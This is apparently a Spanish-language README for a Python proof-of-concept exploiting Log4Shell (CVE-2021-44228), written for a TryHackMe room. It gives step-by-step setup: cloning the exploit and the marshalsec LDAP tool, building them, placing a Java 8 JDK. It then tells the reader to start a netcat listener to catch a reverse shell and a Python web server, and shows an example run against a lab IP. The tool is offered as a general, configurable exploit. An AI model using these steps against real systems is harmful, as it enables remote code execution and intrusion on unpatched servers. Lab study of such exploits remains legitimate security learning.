
Prueba de concepto en Python para CVE-2021-44228 (Log4Shell) que automatiza la explotación mediante un payload Java manipulado, con opciones de argparse para solicitudes GET personalizables y entrega de shell inversa.
Este script de Python fue creado mientras trabajaba en la sala de TryHackMe para Log4j. Aunque fue creado con variables predeterminadas para esta sala, usé argparse para hacer que el script sea versátil para una solicitud GET. Todas las variables necesarias se pueden cambiar con diferentes opciones; consulta -h para más información.
Aquí solo está alojado mi script; esto requiere otras dos descargas para funcionar correctamente, de las cuales daré los enlaces, pero configurar las carpetas de la forma en que lo hice permitirá que el script se ejecute sin mucho esfuerzo. Primero crea una carpeta log4j (o el nombre que quieras), luego haz git clone de este repositorio y mueve poc.py a /log4j/.
git clone https://github.com/ab0x90/CVE-2021-44228_PoC.git
A continuación, clona marshalsec, en el mismo directorio que acabas de crear. Y luego compílalo usando maven.
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
Por último, necesitarás descargar alguna versión de Java 8. Para este script, el valor predeterminado de -j es 'jdk1.8.0_20'.
El nuevo directorio debería verse así cuando todo esté extraído.
kali@kali-[~/tools/Exploits/log4j]$ls -al
total 338448
drwxr-xr-x 5 kali kali 4096 Dec 14 15:22 .
drwx------ 3 kali kali 4096 Dec 14 14:34 ..
drwxr-xr-x 8 kali kali 4096 Jul 30 2014 jdk1.8.0_20
drwxr-xr-x 5 kali kali 4096 Dec 14 14:40 marshalsec
-rw-r--r-- 1 kali kali 2781 Dec 14 16:02 poc.py
Después de completar esta configuración. Ten en cuenta que si deseas o necesitas usar una versión diferente de Java, esto se puede hacer con -j NOMBRE_DE_LA_CARPETA_DE_JAVA.
Menú de ayuda

En el script se incluye el payload proporcionado en la sala de THM; cambia la IP/puerto a lo que quieras usar.

Inicia un listener de netcat para capturar la shell en el puerto especificado en java_payload.
Inicia un servidor web de Python en el puerto 8000.
Comando de ejemplo:
python3 poc.py -l 10.6.20.239 -i 10.10.64.53 -p 8983
Salida de ejemplo y reverse shell:
